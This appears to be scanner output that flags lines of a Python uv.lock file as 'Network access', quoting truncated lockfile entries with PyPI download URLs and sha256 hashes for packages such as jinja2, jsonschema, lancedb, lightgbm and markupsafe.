sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 24511 - Network accessline 1167
wheels = [ { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f - Network accessline 1168
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134 - Network accessline 1172
name = "joblib" version = "1.5.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1173
version = "1.5.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e6 - Network accessline 1174
source = { registry = "https://pypi.org/simple" } - Network accessline 1175
sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e6801106863fd0d6d84bb737be9e7631e33aaed3fb9ce5953688da3", size = 33160 - Network accessline 1176
wheels = [ { url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e7 - Network accessline 1177
{ url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e713", size = 309 - Network accessline 1181
name = "jsonschema" version = "4.26.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1182
version = "4.26.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1183
source = { registry = "https://pypi.org/simple" } - Network accessline 1188
{ name = "rpds-py" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9 - Network accessline 1189
] sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size - Network accessline 1190
sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size = - Network accessline 1191
wheels = [ { url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2 - Network accessline 1192
{ url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", size - Network accessline 1196
name = "jsonschema-specifications" version = "2025.9.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1197
version = "2025.9.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1198
source = { registry = "https://pypi.org/simple" } - Network accessline 1200
{ name = "referencing" }, ] sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3ed - Network accessline 1201
] sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf0271228839 - Network accessline 1202
sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf027122883978 - Network accessline 1203
wheels = [ { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b0 - Network accessline 1204
{ url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113 - Network accessline 1208
name = "keyring" version = "25.7.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1209
version = "25.7.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1210
source = { registry = "https://pypi.org/simple" } - Network accessline 1217
{ name = "secretstorage", marker = "sys_platform == 'linux'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/43/4b/674af6ef2f97d56f0ab5153bf0bfa28ccb6c3ed4d1babf4305449668807b/keyring-25.7.0.tar.gz", hash = "sha256:fe01bd85eb3 - Network accessline 1218
] sdist = { url = "https://files.pythonhosted.org/packages/43/4b/674af6ef2f97d56f0ab5153bf0bfa28ccb6c3ed4d1babf4305449668807b/keyring-25.7.0.tar.gz", hash = "sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b", size = 6 - Network accessline 1219
sdist = { url = "https://files.pythonhosted.org/packages/43/4b/674af6ef2f97d56f0ab5153bf0bfa28ccb6c3ed4d1babf4305449668807b/keyring-25.7.0.tar.gz", hash = "sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b", size = 635 - Network accessline 1220
wheels = [ { url = "https://files.pythonhosted.org/packages/81/db/e655086b7f3a705df045bf0933bdd9c2f79bb3c97bfef1384598bb79a217/keyring-25.7.0-py3-none-any.whl", hash = "sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2 - Network accessline 1221
{ url = "https://files.pythonhosted.org/packages/81/db/e655086b7f3a705df045bf0933bdd9c2f79bb3c97bfef1384598bb79a217/keyring-25.7.0-py3-none-any.whl", hash = "sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f", size = 3 - Network accessline 1225
name = "lance-namespace" version = "0.9.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1226
version = "0.9.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1227
source = { registry = "https://pypi.org/simple" } - Network accessline 1229
{ name = "lance-namespace-urllib3-client" }, ] sdist = { url = "https://files.pythonhosted.org/packages/00/81/4cf8d0412e1f37b2bfa70d0aeb9c7ae4ab73607534e44d60b55efb485306/lance_namespace-0.9.0.tar.gz", hash = "sha256:f738b641cc615b17323baa4 - Network accessline 1230
] sdist = { url = "https://files.pythonhosted.org/packages/00/81/4cf8d0412e1f37b2bfa70d0aeb9c7ae4ab73607534e44d60b55efb485306/lance_namespace-0.9.0.tar.gz", hash = "sha256:f738b641cc615b17323baa4eb47900f184688739ee3d2ea9fe39396b9588e53d", s - Network accessline 1231
sdist = { url = "https://files.pythonhosted.org/packages/00/81/4cf8d0412e1f37b2bfa70d0aeb9c7ae4ab73607534e44d60b55efb485306/lance_namespace-0.9.0.tar.gz", hash = "sha256:f738b641cc615b17323baa4eb47900f184688739ee3d2ea9fe39396b9588e53d", siz - Network accessline 1232
wheels = [ { url = "https://files.pythonhosted.org/packages/e1/fe/f38747c9610ade83dd9a99a0470b9432b6f21ce4e2bb5524edbe66f626fd/lance_namespace-0.9.0-py3-none-any.whl", hash = "sha256:f785ff10927e4ce0db69986576670fedd37f8a33521e8a4630c6b - Network accessline 1233
{ url = "https://files.pythonhosted.org/packages/e1/fe/f38747c9610ade83dd9a99a0470b9432b6f21ce4e2bb5524edbe66f626fd/lance_namespace-0.9.0-py3-none-any.whl", hash = "sha256:f785ff10927e4ce0db69986576670fedd37f8a33521e8a4630c6be22db8061b2", s - Network accessline 1237
name = "lance-namespace-urllib3-client" version = "0.9.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1238
version = "0.9.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1239
source = { registry = "https://pypi.org/simple" } - Network accessline 1244
{ name = "urllib3" }, ] sdist = { url = "https://files.pythonhosted.org/packages/d3/c3/32d0e2618549ace857c80a457e5915ef3e1145661baff876c8a5ec27be5b/lance_namespace_urllib3_client-0.9.0.tar.gz", hash = "sha256:cf796fa5307fa4dde91fe4bec2af28b - Network accessline 1245
] sdist = { url = "https://files.pythonhosted.org/packages/d3/c3/32d0e2618549ace857c80a457e5915ef3e1145661baff876c8a5ec27be5b/lance_namespace_urllib3_client-0.9.0.tar.gz", hash = "sha256:cf796fa5307fa4dde91fe4bec2af28b90ba79191852d4394e8fe4 - Network accessline 1246
sdist = { url = "https://files.pythonhosted.org/packages/d3/c3/32d0e2618549ace857c80a457e5915ef3e1145661baff876c8a5ec27be5b/lance_namespace_urllib3_client-0.9.0.tar.gz", hash = "sha256:cf796fa5307fa4dde91fe4bec2af28b90ba79191852d4394e8fe442 - Network accessline 1247
wheels = [ { url = "https://files.pythonhosted.org/packages/cc/ab/c8754da0a1efc817f8480100cfe12b7e04034df834759de8ecf02beff3cc/lance_namespace_urllib3_client-0.9.0-py3-none-any.whl", hash = "sha256:be819c8cffb1e460a3a504dbf52d1ca009560a - Network accessline 1248
{ url = "https://files.pythonhosted.org/packages/cc/ab/c8754da0a1efc817f8480100cfe12b7e04034df834759de8ecf02beff3cc/lance_namespace_urllib3_client-0.9.0-py3-none-any.whl", hash = "sha256:be819c8cffb1e460a3a504dbf52d1ca009560a48e7202b8c42799 - Network accessline 1252
name = "lancedb" version = "0.30.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1253
version = "0.30.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1254
source = { registry = "https://pypi.org/simple" } - Network accessline 1263
] wheels = [ { url = "https://files.pythonhosted.org/packages/7f/87/67b23006663be175c396ae8f7c6ac98bfa4728de5b5583016b8b8c54eb14/lancedb-0.30.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:3dd8cb9e2e25efb32c088b24b3fbc57f3f24a636f4b - Network accessline 1264
wheels = [ { url = "https://files.pythonhosted.org/packages/7f/87/67b23006663be175c396ae8f7c6ac98bfa4728de5b5583016b8b8c54eb14/lancedb-0.30.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:3dd8cb9e2e25efb32c088b24b3fbc57f3f24a636f4b8a - Network accessline 1265
{ url = "https://files.pythonhosted.org/packages/7f/87/67b23006663be175c396ae8f7c6ac98bfa4728de5b5583016b8b8c54eb14/lancedb-0.30.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:3dd8cb9e2e25efb32c088b24b3fbc57f3f24a636f4b8ad4b287b1eb52f6b - Network accessline 1266
{ url = "https://files.pythonhosted.org/packages/78/68/b3b5f638f8de91de75751414114690cae9c294dc79d9ab2602f4562ed9df/lancedb-0.30.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f083d50b257f645bd5c4b295d693648ff - Network accessline 1267
{ url = "https://files.pythonhosted.org/packages/ef/d1/ea8b74a8b56dd4925cc9cb9cc23c7d9675708a7f6b33d22136dc7bb34dbc/lancedb-0.30.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3aef5538db9cd82af79c90831035b4d67e9 - Network accessline 1268
{ url = "https://files.pythonhosted.org/packages/74/4b/5bfeacf948cfc3452b286a792dcbbfaf04649ef0820e1d3790d47bf5527e/lancedb-0.30.2-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8b161cb1da04ae6ad45afe10093cfe4107821d93e7712b50200c435 - Network accessline 1269
{ url = "https://files.pythonhosted.org/packages/28/4c/a51af0ce1d18fd86afa3e8538a81abf5523d24632abe7665ce6795b8009d/lancedb-0.30.2-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7fabc0f57944fd79ddef62ed8cf4df770654b172b1ad1019a999304f - Network accessline 1270
{ url = "https://files.pythonhosted.org/packages/88/d0/7e44e8143ac2dae8979ba882cc33d4af7b8da4741fb0361497e69b4a4379/lancedb-0.30.2-cp39-abi3-win_amd64.whl", hash = "sha256:531da53002c1c6fda829afccc8ced3056ef58eb036f09ddb2b94a06877ecc66c", s - Network accessline 1274
name = "laya-mlx" version = "0.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1275
version = "0.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1276
source = { registry = "https://pypi.org/simple" } - Network accessline 1281
{ name = "tokenizers", marker = "platform_machine != 'aarch64' or sys_platform != 'linux'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/4c/4c/2b67e41023ee51bf06af9ac4fb4a2b2e015cc3e8af7d779a989fb2332991/laya_mlx-0.2.0.tar.g - Network accessline 1282
] sdist = { url = "https://files.pythonhosted.org/packages/4c/4c/2b67e41023ee51bf06af9ac4fb4a2b2e015cc3e8af7d779a989fb2332991/laya_mlx-0.2.0.tar.gz", hash = "sha256:d51c2366c3bbccaa1aee87862728b9b51704547ffce5027de37e44756fbf8251", size = 5 - Network accessline 1283
sdist = { url = "https://files.pythonhosted.org/packages/4c/4c/2b67e41023ee51bf06af9ac4fb4a2b2e015cc3e8af7d779a989fb2332991/laya_mlx-0.2.0.tar.gz", hash = "sha256:d51c2366c3bbccaa1aee87862728b9b51704547ffce5027de37e44756fbf8251", size = 538 - Network accessline 1284
wheels = [ { url = "https://files.pythonhosted.org/packages/61/21/89b7f030fcbfb6327f1fc553480fbeaa2aae7408338ee422c2cf37746e66/laya_mlx-0.2.0-py3-none-any.whl", hash = "sha256:1a80a0cc79c55be808de0b1208a172566209b5780d796b98d86235e9cf33 - Network accessline 1285
{ url = "https://files.pythonhosted.org/packages/61/21/89b7f030fcbfb6327f1fc553480fbeaa2aae7408338ee422c2cf37746e66/laya_mlx-0.2.0-py3-none-any.whl", hash = "sha256:1a80a0cc79c55be808de0b1208a172566209b5780d796b98d86235e9cf335187", size = 6 - Network accessline 1289
name = "lightgbm" version = "4.6.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1290
version = "4.6.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1291
source = { registry = "https://pypi.org/simple" } - Network accessline 1294
{ name = "scipy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/68/0b/a2e9f5c5da7ef047cc60cef37f86185088845e8433e54d2e7ed439cce8a3/lightgbm-4.6.0.tar.gz", hash = "sha256:cb1c59720eb569389c0ba74d14f52351b573af489f230032a1c9f31 - Network accessline 1295
] sdist = { url = "https://files.pythonhosted.org/packages/68/0b/a2e9f5c5da7ef047cc60cef37f86185088845e8433e54d2e7ed439cce8a3/lightgbm-4.6.0.tar.gz", hash = "sha256:cb1c59720eb569389c0ba74d14f52351b573af489f230032a1c9f314f8bab7fe", size = 1 - Network accessline 1296
sdist = { url = "https://files.pythonhosted.org/packages/68/0b/a2e9f5c5da7ef047cc60cef37f86185088845e8433e54d2e7ed439cce8a3/lightgbm-4.6.0.tar.gz", hash = "sha256:cb1c59720eb569389c0ba74d14f52351b573af489f230032a1c9f314f8bab7fe", size = 170 - Network accessline 1297
wheels = [ { url = "https://files.pythonhosted.org/packages/f2/75/cffc9962cca296bc5536896b7e65b4a7cdeb8db208e71b9c0133c08f8f7e/lightgbm-4.6.0-py3-none-macosx_10_15_x86_64.whl", hash = "sha256:b7a393de8a334d5c8e490df91270f0763f83f959574d - Network accessline 1298
{ url = "https://files.pythonhosted.org/packages/f2/75/cffc9962cca296bc5536896b7e65b4a7cdeb8db208e71b9c0133c08f8f7e/lightgbm-4.6.0-py3-none-macosx_10_15_x86_64.whl", hash = "sha256:b7a393de8a334d5c8e490df91270f0763f83f959574d504c7ccb9eee4ae - Network accessline 1299
{ url = "https://files.pythonhosted.org/packages/21/1b/550ee378512b78847930f5d74228ca1fdba2a7fbdeaac9aeccc085b0e257/lightgbm-4.6.0-py3-none-macosx_12_0_arm64.whl", hash = "sha256:2dafd98d4e02b844ceb0b61450a660681076b1ea6c7adb8c566dfd66832aa - Network accessline 1300
{ url = "https://files.pythonhosted.org/packages/64/41/4fbde2c3d29e25ee7c41d87df2f2e5eda65b431ee154d4d462c31041846c/lightgbm-4.6.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4d68712bbd2b57a0b14390cbf9376c1d5ed773fa2e71e099cac588703 - Network accessline 1301
{ url = "https://files.pythonhosted.org/packages/42/86/dabda8fbcb1b00bcfb0003c3776e8ade1aa7b413dff0a2c08f457dace22f/lightgbm-4.6.0-py3-none-manylinux_2_28_x86_64.whl", hash = "sha256:cb19b5afea55b5b61cbb2131095f50538bd608a00655f23ad5d25ae3e - Network accessline 1302
{ url = "https://files.pythonhosted.org/packages/5e/23/f8b28ca248bb629b9e08f877dd2965d1994e1674a03d67cd10c5246da248/lightgbm-4.6.0-py3-none-win_amd64.whl", hash = "sha256:37089ee95664b6550a7189d887dbf098e3eadab03537e411f52c63c121e3ba4b", si - Network accessline 1306
name = "llmlingua" version = "0.2.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1307
version = "0.2.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1308
source = { registry = "https://pypi.org/simple" } - Network accessline 1315
{ name = "transformers" }, ] sdist = { url = "https://files.pythonhosted.org/packages/fd/02/7ed8ad9cec4b2f0a8a45c5b50a2435b559d2c764b5865e896d1c511080b1/llmlingua-0.2.2.tar.gz", hash = "sha256:1a0caedd8d5a65512a85dadb6bfda6f5b3c4b45e5cb9e7b - Network accessline 1316
] sdist = { url = "https://files.pythonhosted.org/packages/fd/02/7ed8ad9cec4b2f0a8a45c5b50a2435b559d2c764b5865e896d1c511080b1/llmlingua-0.2.2.tar.gz", hash = "sha256:1a0caedd8d5a65512a85dadb6bfda6f5b3c4b45e5cb9e7b1c6009573f9058572", size = - Network accessline 1317
sdist = { url = "https://files.pythonhosted.org/packages/fd/02/7ed8ad9cec4b2f0a8a45c5b50a2435b559d2c764b5865e896d1c511080b1/llmlingua-0.2.2.tar.gz", hash = "sha256:1a0caedd8d5a65512a85dadb6bfda6f5b3c4b45e5cb9e7b1c6009573f9058572", size = 59 - Network accessline 1318
wheels = [ { url = "https://files.pythonhosted.org/packages/6e/3e/221fe46a3338f2babdb2082ee42df88fcaa8ea0e639e832cbb1b93c5923a/llmlingua-0.2.2-py3-none-any.whl", hash = "sha256:da55137efe0db78063b3395396efe8a0dcfe4ae5a09aea0d503c34b7bf1 - Network accessline 1319
{ url = "https://files.pythonhosted.org/packages/6e/3e/221fe46a3338f2babdb2082ee42df88fcaa8ea0e639e832cbb1b93c5923a/llmlingua-0.2.2-py3-none-any.whl", hash = "sha256:da55137efe0db78063b3395396efe8a0dcfe4ae5a09aea0d503c34b7bf1d800c", size = - Network accessline 1323
name = "markdown-it-py" version = "4.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1324
version = "4.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1325
source = { registry = "https://pypi.org/simple" } - Network accessline 1327
{ name = "mdurl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a1 - Network accessline 1328
] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", si - Network accessline 1329
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size - Network accessline 1330
wheels = [ { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a3 - Network accessline 1331
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", si - Network accessline 1335
name = "markupsafe" version = "3.0.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1336
version = "3.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:7226958 - Network accessline 1337
source = { registry = "https://pypi.org/simple" } - Network accessline 1338
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 8 - Network accessline 1339
wheels = [ { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a565 - Network accessline 1340
{ url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08 - Network accessline 1341
{ url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f144 - Network accessline 1342
{ url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8a - Network accessline 1343
{ url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b - Network accessline 1344
{ url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec6459585 - Network accessline 1345
{ url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a59949 - Network accessline 1346
{ url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde - Network accessline 1347
{ url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1 - Network accessline 1348
{ url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", s - Network accessline 1349
{ url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c - Network accessline 1350
{ url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f - Network accessline 1351
{ url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c - Network accessline 1352
{ url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b180 - Network accessline 1353
{ url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43 - Network accessline 1354
{ url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f - Network accessline 1355
{ url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec - Network accessline 1356
{ url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138 - Network accessline 1357
{ url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc - Network accessline 1358
{ url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e4 - Network accessline 1359
{ url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", s - Network accessline 1360
{ url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5 - Network accessline 1361
{ url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485 - Network accessline 1362
